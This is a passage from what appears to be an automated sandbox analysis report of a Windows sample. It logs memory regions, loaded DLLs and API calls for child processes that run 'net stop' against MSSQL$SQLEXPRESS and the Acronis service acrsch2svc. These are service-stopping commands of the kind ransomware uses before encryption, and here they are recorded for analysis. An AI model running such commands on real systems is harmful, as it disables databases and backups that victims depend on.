name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 417 start_va = 0x75220000 end_va = 0x75226fff entry_point = 0x75220000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 418 start_va = 0x75230000 end_va = 0x7523efff entry_point = 0x75230000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 419 start_va = 0x75240000 end_va = 0x7524cfff entry_point = 0x75240000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 420 start_va = 0x75250000 end_va = 0x7525efff entry_point = 0x75250000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 421 start_va = 0x75270000 end_va = 0x75278fff entry_point = 0x75270000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 422 start_va = 0x75280000 end_va = 0x75291fff entry_point = 0x75280000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 423 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 424 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 425 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 426 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 427 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 428 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 429 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 430 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 431 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 432 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 433 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 434 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 435 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Thread: id = 7 os_tid = 0xa44 Process: id = "7" image_name = "net1.exe" filename = "c:\\windows\\syswow64\\net1.exe" page_root = "0x4fb15000" os_pid = "0xa48" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa40" cmd_line = "C:\\Windows\\system32\\net1 stop MSSQL$SQLEXPRESS /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 436 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 437 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 438 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 439 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 440 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 441 start_va = 0xd0000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 442 start_va = 0x190000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 443 start_va = 0xc70000 end_va = 0xc99fff entry_point = 0xc70000 region_type = mapped_file name = "net1.exe" filename = "\\Windows\\SysWOW64\\net1.exe" (normalized: "c:\\windows\\syswow64\\net1.exe") Region: id = 444 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 445 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 446 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 447 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 448 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 449 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 450 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 451 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 452 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 453 start_va = 0x3a0000 end_va = 0x41ffff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 454 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 455 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 456 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 457 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 458 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 459 start_va = 0x1d0000 end_va = 0x236fff entry_point = 0x1d0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 460 start_va = 0x5b0000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 461 start_va = 0x5f0000 end_va = 0x6effff entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 462 start_va = 0x75130000 end_va = 0x75147fff entry_point = 0x75130000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 463 start_va = 0x75150000 end_va = 0x75161fff entry_point = 0x75150000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\SysWOW64\\samlib.dll" (normalized: "c:\\windows\\syswow64\\samlib.dll") Region: id = 464 start_va = 0x75170000 end_va = 0x75180fff entry_point = 0x75170000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 465 start_va = 0x75190000 end_va = 0x751b1fff entry_point = 0x75190000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\SysWOW64\\logoncli.dll" (normalized: "c:\\windows\\syswow64\\logoncli.dll") Region: id = 466 start_va = 0x751c0000 end_va = 0x751c8fff entry_point = 0x751c0000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\SysWOW64\\dsrole.dll" (normalized: "c:\\windows\\syswow64\\dsrole.dll") Region: id = 467 start_va = 0x75200000 end_va = 0x75218fff entry_point = 0x75200000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 468 start_va = 0x75230000 end_va = 0x7523efff entry_point = 0x75230000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 469 start_va = 0x75240000 end_va = 0x7524cfff entry_point = 0x75240000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 470 start_va = 0x75250000 end_va = 0x7525efff entry_point = 0x75250000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 471 start_va = 0x75270000 end_va = 0x75278fff entry_point = 0x75270000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 472 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 473 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 474 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 475 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 476 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 477 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 478 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 479 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 480 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 481 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 482 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 483 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 484 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 485 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 486 start_va = 0x751d0000 end_va = 0x751d1fff entry_point = 0x751d0000 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\SysWOW64\\netmsg.dll" (normalized: "c:\\windows\\syswow64\\netmsg.dll") Thread: id = 8 os_tid = 0xa4c [0036.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fac4 | out: lpSystemTimeAsFileTime=0x14fac4*(dwLowDateTime=0xd79c7480, dwHighDateTime=0x1d4abdd)) [0036.499] GetCurrentProcessId () returned 0xa48 [0036.499] GetCurrentThreadId () returned 0xa4c [0036.499] GetTickCount () returned 0x19951 [0036.499] QueryPerformanceCounter (in: lpPerformanceCount=0x14fabc | out: lpPerformanceCount=0x14fabc*=1811172900000) returned 1 [0036.499] GetModuleHandleA (lpModuleName=0x0) returned 0xc70000 [0036.499] __set_app_type (_Type=0x1) [0036.499] __p__fmode () returned 0x75ed31f4 [0036.499] __p__commode () returned 0x75ed31fc [0036.499] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xc7ffe6) returned 0x0 [0036.499] __getmainargs (in: _Argc=0xc89064, _Argv=0xc8906c, _Env=0xc89068, _DoWildCard=0, _StartInfo=0xc89024 | out: _Argc=0xc89064, _Argv=0xc8906c, _Env=0xc89068) returned 0 [0036.499] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0036.499] GetConsoleOutputCP () returned 0x1b5 [0036.499] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc89080 | out: lpCPInfo=0xc89080) returned 1 [0036.500] SetThreadUILanguage (LangId=0x0) returned 0x409 [0036.503] sprintf_s (in: _DstBuf=0x14fa7c, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4 [0036.503] setlocale (category=0, locale=".437") returned="English_United States.437" [0036.504] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0036.504] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0036.504] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop MSSQL$SQLEXPRESS /Y" [0036.505] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14f848, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\net1.exe" (normalized: "c:\\windows\\syswow64\\net1.exe")) returned 0x1c [0036.505] _wcsnicmp (_String1="/Y", _String2="/Y", _MaxCount=0x2) returned 0 [0036.505] NetApiBufferAllocate (in: ByteCount=0x10, Buffer=0x14fa4c | out: Buffer=0x14fa4c*=0x601c18) returned 0x0 [0036.505] NetApiBufferAllocate (in: ByteCount=0x10, Buffer=0x14fa4c | out: Buffer=0x14fa4c*=0x601c30) returned 0x0 [0036.505] _fileno (_File=0x75ed2900) returned 0 [0036.505] _setmode (_FileHandle=0, _Mode=16384) returned 16384 [0036.505] _wcsicmp (_String1="accounts", _String2="stop") returned -18 [0036.505] _wcsicmp (_String1="computer", _String2="stop") returned -16 [0036.505] _wcsicmp (_String1="config", _String2="stop") returned -16 [0036.505] _wcsicmp (_String1="continue", _String2="stop") returned -16 [0036.505] _wcsicmp (_String1="cont", _String2="stop") returned -16 [0036.505] _wcsicmp (_String1="file", _String2="stop") returned -13 [0036.505] _wcsicmp (_String1="files", _String2="stop") returned -13 [0036.505] _wcsicmp (_String1="group", _String2="stop") returned -12 [0036.505] _wcsicmp (_String1="groups", _String2="stop") returned -12 [0036.505] _wcsicmp (_String1="help", _String2="stop") returned -11 [0036.505] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11 [0036.505] _wcsicmp (_String1="localgroup", _String2="stop") returned -7 [0036.505] _wcsicmp (_String1="pause", _String2="stop") returned -3 [0036.505] _wcsicmp (_String1="session", _String2="stop") returned -15 [0036.506] _wcsicmp (_String1="sessions", _String2="stop") returned -15 [0036.506] _wcsicmp (_String1="sess", _String2="stop") returned -15 [0036.506] _wcsicmp (_String1="share", _String2="stop") returned -12 [0036.506] _wcsicmp (_String1="start", _String2="stop") returned -14 [0036.506] _wcsicmp (_String1="stats", _String2="stop") returned -14 [0036.506] _wcsicmp (_String1="statistics", _String2="stop") returned -14 [0036.506] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0036.506] _wcsicmp (_String1="accounts", _String2="MSSQL$SQLEXPRESS") returned -12 [0036.506] _wcsicmp (_String1="computer", _String2="MSSQL$SQLEXPRESS") returned -10 [0036.506] _wcsicmp (_String1="config", _String2="MSSQL$SQLEXPRESS") returned -10 [0036.506] _wcsicmp (_String1="continue", _String2="MSSQL$SQLEXPRESS") returned -10 [0036.506] _wcsicmp (_String1="cont", _String2="MSSQL$SQLEXPRESS") returned -10 [0036.506] _wcsicmp (_String1="file", _String2="MSSQL$SQLEXPRESS") returned -7 [0036.506] _wcsicmp (_String1="files", _String2="MSSQL$SQLEXPRESS") returned -7 [0036.506] _wcsicmp (_String1="group", _String2="MSSQL$SQLEXPRESS") returned -6 [0036.506] _wcsicmp (_String1="groups", _String2="MSSQL$SQLEXPRESS") returned -6 [0036.506] _wcsicmp (_String1="help", _String2="MSSQL$SQLEXPRESS") returned -5 [0036.506] _wcsicmp (_String1="helpmsg", _String2="MSSQL$SQLEXPRESS") returned -5 [0036.506] _wcsicmp (_String1="localgroup", _String2="MSSQL$SQLEXPRESS") returned -1 [0036.506] _wcsicmp (_String1="pause", _String2="MSSQL$SQLEXPRESS") returned 3 [0036.506] _wcsicmp (_String1="session", _String2="MSSQL$SQLEXPRESS") returned 6 [0036.506] _wcsicmp (_String1="sessions", _String2="MSSQL$SQLEXPRESS") returned 6 [0036.506] _wcsicmp (_String1="sess", _String2="MSSQL$SQLEXPRESS") returned 6 [0036.506] _wcsicmp (_String1="share", _String2="MSSQL$SQLEXPRESS") returned 6 [0036.506] _wcsicmp (_String1="start", _String2="MSSQL$SQLEXPRESS") returned 6 [0036.507] _wcsicmp (_String1="stats", _String2="MSSQL$SQLEXPRESS") returned 6 [0036.507] _wcsicmp (_String1="statistics", _String2="MSSQL$SQLEXPRESS") returned 6 [0036.507] _wcsicmp (_String1="stop", _String2="MSSQL$SQLEXPRESS") returned 6 [0036.507] _wcsicmp (_String1="time", _String2="MSSQL$SQLEXPRESS") returned 7 [0036.507] _wcsicmp (_String1="user", _String2="MSSQL$SQLEXPRESS") returned 8 [0036.507] _wcsicmp (_String1="users", _String2="MSSQL$SQLEXPRESS") returned 8 [0036.507] _wcsicmp (_String1="msg", _String2="MSSQL$SQLEXPRESS") returned -12 [0036.507] _wcsicmp (_String1="messenger", _String2="MSSQL$SQLEXPRESS") returned -14 [0036.507] _wcsicmp (_String1="receiver", _String2="MSSQL$SQLEXPRESS") returned 5 [0036.507] _wcsicmp (_String1="rcv", _String2="MSSQL$SQLEXPRESS") returned 5 [0036.508] _wcsicmp (_String1="netpopup", _String2="MSSQL$SQLEXPRESS") returned 1 [0036.508] _wcsicmp (_String1="redirector", _String2="MSSQL$SQLEXPRESS") returned 5 [0036.508] _wcsicmp (_String1="redir", _String2="MSSQL$SQLEXPRESS") returned 5 [0036.508] _wcsicmp (_String1="rdr", _String2="MSSQL$SQLEXPRESS") returned 5 [0036.508] _wcsicmp (_String1="workstation", _String2="MSSQL$SQLEXPRESS") returned 10 [0036.508] _wcsicmp (_String1="work", _String2="MSSQL$SQLEXPRESS") returned 10 [0036.508] _wcsicmp (_String1="wksta", _String2="MSSQL$SQLEXPRESS") returned 10 [0036.508] _wcsicmp (_String1="prdr", _String2="MSSQL$SQLEXPRESS") returned 3 [0036.508] _wcsicmp (_String1="devrdr", _String2="MSSQL$SQLEXPRESS") returned -9 [0036.508] _wcsicmp (_String1="lanmanworkstation", _String2="MSSQL$SQLEXPRESS") returned -1 [0036.508] _wcsicmp (_String1="server", _String2="MSSQL$SQLEXPRESS") returned 6 [0036.508] _wcsicmp (_String1="svr", _String2="MSSQL$SQLEXPRESS") returned 6 [0036.508] _wcsicmp (_String1="srv", _String2="MSSQL$SQLEXPRESS") returned 6 [0036.508] _wcsicmp (_String1="lanmanserver", _String2="MSSQL$SQLEXPRESS") returned -1 [0036.508] _wcsicmp (_String1="alerter", _String2="MSSQL$SQLEXPRESS") returned -12 [0036.508] _wcsicmp (_String1="netlogon", _String2="MSSQL$SQLEXPRESS") returned 1 [0036.508] _wcsupr (in: _String="MSSQL$SQLEXPRESS" | out: _String="MSSQL$SQLEXPRESS") returned="MSSQL$SQLEXPRESS" [0036.508] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x605430 [0036.511] GetServiceKeyNameW (in: hSCManager=0x605430, lpDisplayName="MSSQL$SQLEXPRESS", lpServiceName=0xc8aaf0, lpcchBuffer=0x14f9e8 | out: lpServiceName="", lpcchBuffer=0x14f9e8) returned 0 [0036.511] _wcsicmp (_String1="msg", _String2="MSSQL$SQLEXPRESS") returned -12 [0036.511] _wcsicmp (_String1="messenger", _String2="MSSQL$SQLEXPRESS") returned -14 [0036.511] _wcsicmp (_String1="receiver", _String2="MSSQL$SQLEXPRESS") returned 5 [0036.511] _wcsicmp (_String1="rcv", _String2="MSSQL$SQLEXPRESS") returned 5 [0036.511] _wcsicmp (_String1="redirector", _String2="MSSQL$SQLEXPRESS") returned 5 [0036.511] _wcsicmp (_String1="redir", _String2="MSSQL$SQLEXPRESS") returned 5 [0036.511] _wcsicmp (_String1="rdr", _String2="MSSQL$SQLEXPRESS") returned 5 [0036.511] _wcsicmp (_String1="workstation", _String2="MSSQL$SQLEXPRESS") returned 10 [0036.511] _wcsicmp (_String1="work", _String2="MSSQL$SQLEXPRESS") returned 10 [0036.511] _wcsicmp (_String1="wksta", _String2="MSSQL$SQLEXPRESS") returned 10 [0036.511] _wcsicmp (_String1="prdr", _String2="MSSQL$SQLEXPRESS") returned 3 [0036.511] _wcsicmp (_String1="devrdr", _String2="MSSQL$SQLEXPRESS") returned -9 [0036.511] _wcsicmp (_String1="lanmanworkstation", _String2="MSSQL$SQLEXPRESS") returned -1 [0036.511] _wcsicmp (_String1="server", _String2="MSSQL$SQLEXPRESS") returned 6 [0036.511] _wcsicmp (_String1="svr", _String2="MSSQL$SQLEXPRESS") returned 6 [0036.511] _wcsicmp (_String1="srv", _String2="MSSQL$SQLEXPRESS") returned 6 [0036.511] _wcsicmp (_String1="lanmanserver", _String2="MSSQL$SQLEXPRESS") returned -1 [0036.511] _wcsicmp (_String1="alerter", _String2="MSSQL$SQLEXPRESS") returned -12 [0036.511] _wcsicmp (_String1="netlogon", _String2="MSSQL$SQLEXPRESS") returned 1 [0036.511] NetServiceControl (in: servername=0x0, service="MSSQL$SQLEXPRESS", opcode=0x0, arg=0x0, bufptr=0x14f9e4 | out: bufptr=0x14f9e4) returned 0x889 [0036.512] wcscpy_s (in: _Destination=0xc8a4e8, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0 [0036.512] LoadLibraryW (lpLibFileName="NETMSG") returned 0x751d0000 [0036.513] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x751d0000, dwMessageId=0x889, dwLanguageId=0x0, lpBuffer=0xc8b338, nSize=0x800, Arguments=0xc89dd8 | out: lpBuffer="The service name is invalid.\r\n") returned 0x1e [0036.514] GetFileType (hFile=0xb) returned 0x2 [0036.514] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14f904 | out: lpMode=0x14f904) returned 1 [0036.514] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xc8b338*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0x14f924, lpReserved=0x0 | out: lpBuffer=0xc8b338*, lpNumberOfCharsWritten=0x14f924*=0x1e) returned 1 [0036.515] GetFileType (hFile=0xb) returned 0x2 [0036.515] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14f904 | out: lpMode=0x14f904) returned 1 [0036.515] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xc716cc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x14f924, lpReserved=0x0 | out: lpBuffer=0xc716cc*, lpNumberOfCharsWritten=0x14f924*=0x2) returned 1 [0036.515] _ultow (in: _Dest=0x889, _Radix=1374548 | out: _Dest=0x889) returned="2185" [0036.515] FormatMessageW (in: dwFlags=0x2800, lpSource=0x751d0000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xc8b338, nSize=0x800, Arguments=0xc89dd8 | out: lpBuffer="More help is available by typing NET HELPMSG 2185.\r\n") returned 0x34 [0036.515] GetFileType (hFile=0xb) returned 0x2 [0036.516] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14f910 | out: lpMode=0x14f910) returned 1 [0036.516] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xc8b338*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x14f930, lpReserved=0x0 | out: lpBuffer=0xc8b338*, lpNumberOfCharsWritten=0x14f930*=0x34) returned 1 [0036.516] GetFileType (hFile=0xb) returned 0x2 [0036.516] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14f910 | out: lpMode=0x14f910) returned 1 [0036.516] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xc716cc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x14f930, lpReserved=0x0 | out: lpBuffer=0xc716cc*, lpNumberOfCharsWritten=0x14f930*=0x2) returned 1 [0036.517] NetApiBufferFree (Buffer=0x601c18) returned 0x0 [0036.517] NetApiBufferFree (Buffer=0x601c30) returned 0x0 [0036.517] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop MSSQL$SQLEXPRESS /Y" [0036.517] exit (_Code=2) Process: id = "8" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4d2b9000" os_pid = "0xa50" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c NET STOP acrsch2svc /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 487 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 488 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 489 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" 